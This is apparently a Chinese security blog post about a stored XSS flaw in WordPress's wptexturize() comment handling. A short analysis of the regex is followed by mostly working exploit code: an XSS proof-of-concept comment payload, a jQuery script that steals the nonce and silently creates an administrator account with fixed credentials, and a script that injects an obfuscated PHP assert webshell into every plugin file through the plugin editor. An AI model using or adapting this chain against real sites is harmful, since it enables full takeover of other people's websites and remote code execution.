前面发布了wordpress的xss漏洞,下面是详细的分析:
这个漏洞出现在/wp-includes/formatting.php中的wptexturize()函数中
当我们在wordpress留言后,留言首先会被分成多个片段来处理,功能就是由这个函数完成的。
$no_texturize_shortcodes = '(' . implode( '|', apply_filters( 'no_texturize_shortcodes', $default_no_texturize_shortcodes ) ) . ')';
$no_texturize_tags_stack = array();
$no_texturize_shortcodes_stack = array();
$textarr = preg_split('/(<.*>|\[.*\])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE);//问题出在这
foreach ( $textarr as &$curl ) {
// ...
}
return implode( '', $textarr );
/(<.*>|\[.*\])/Us这个正则表达式将匹配[]和<>中的所有内容,但是是以懒惰模式匹配的,也就是匹配到离左边的方括号最近的右方括号。通过这个正则匹配后,留言会被分成若干个片段。如下图:

wordpress中方括号内的内容将不做转义,所以如果我们在方括号中加入尖括号并插入恶意脚本,将会造成XSS。
poc:
[<a href="xxx" title="]"></a>[" <!-- onmouseover=alert(/xss/)//><!-- -->XSS<a></a>]
增加管理员的js脚本:
var a = location.href.split('/');
var xurl = location.href.replace(a[a.length-1],"user-new.php");
jQuery.ajax({
url: xurl,
type: 'GET',
dataType: 'html',
data: {},
})
.done(function(data) {
var temp = jQuery(data);
var Xtoken = "";
temp.find('input#_wpnonce_create-user').each(function(i,o){
var o=jQuery(o);
Xtoken=o.attr('value');
});
jQuery.ajax({
url: xurl,
type: 'POST',
data: {'action': 'createuser','_wpnonce_create-user':Xtoken,'user_login':'0x_Jin','email':'root@xss1.com','first_name':'0x_Jin','last_name':'0x_Jin','url':'www.xss1.com','pass1':'fuckxssQ','pass2':'fuckxssQ','role':'administrator','createuser':'Add+New+User+'}
})
.done(function(){
console.log('ok');
return;
})
})
.fail(function() {
console.log("error");
})
.always(function() {
return;
});
会添加一个管理员
账号:0x_Jin
密码:fuckxssQ
getshell的脚本:
/*
0x_Jin WordPress Getshell
*/
var a = location.href.split('/');
var file = "";
var xurl = location.href.replace(a[a.length-1],"plugin-editor.php");
var file2 = [];
var StartGetshell = 0;
var shellcode = '<?php\n$k="ass"."ert"; $k(${"_PO"."ST"} ["fuckxssQ"]);';
jQuery.ajax({
url: xurl,
type: 'GET',
dataType: 'html',
data: {},
})
.done(function(data) {
var temp = jQuery(data);
var Xtoken = "";
var Tmpcode = "";
temp.find('input#_wpnonce').each(function(i,o){
var o=jQuery(o);
Xtoken=o.attr('value');
});
temp.find('textarea#newcontent').each(function(i,o){
var o=jQuery(o);
Tmpcode = o.text().replace('<?php',shellcode);
})
temp.find('div.alignleft big strong').each(function(i,o){
var o=jQuery(o);
file = o.text();
})
temp.find('select#plugin option').each(function(i,o){
var o=jQuery(o);
file2.push(o.attr('value'));
})
if(Xtoken&&Tmpcode&&file){
jQuery.ajax({
url: xurl,
type: 'POST',
data: {'_wpnonce':Xtoken,'newcontent':Tmpcode,'action':'update','file':file,'plugin':file,'submit':'Update+File'}
})
.done(function(){
var temp = location.href.substring(location.href.indexOf('wp-admin'),location.href.length);
console.info('Webshell:'+location.href.replace(temp,"wp-content/plugins/"+file));
return;
})
}
if(StartGetshell){
for(var i=0;i<file2.length;i++){
var filename = file2[i];
if(file2[i]!=file){
jQuery.ajax({
url: xurl,
type: 'POST',
data: {'plugin': file2[i],'Submit':'Select'},
})
.done(function(data) {
var NewCode = "";
var NewToken= "";
var Getshell=jQuery(data);
Getshell.find("textarea#newcontent").each(function(i,o){
var o=jQuery(o);
NewCode = o.text().replace('<?php',shellcode);
})
Getshell.find("input#_wpnonce").each(function(i,o){
var o=jQuery(o);
NewToken = o.attr('value');
})
if(NewCode&&NewToken){
console.log("1"+filename);
jQuery.ajax({
url: xurl,
type: 'POST',
data: {'_wpnonce':NewToken,'newcontent':NewCode,'action':'update','file':filename,'plugin':filename,'submit':'Update+File'}
})
.done(function(){
var temp = location.href.substring(location.href.indexOf('wp-admin'),location.href.length);
console.info('Webshell:'+location.href.replace(temp,"wp-content/plugins/"+filename));
return;
})
}
})
}
}
}
})
.fail(function() {
console.log("error");
})
.always(function() {
return;
});
可getshell


直到此处,这个wordpress少见的过滤不严导致的存储型xss的细节分析和利用才算完整的展现在大家眼前。欢迎各位机友指正讨论,并进一步深挖。
原创文章,作者:老D,如若转载,请注明出处:https://laod.cn/297.html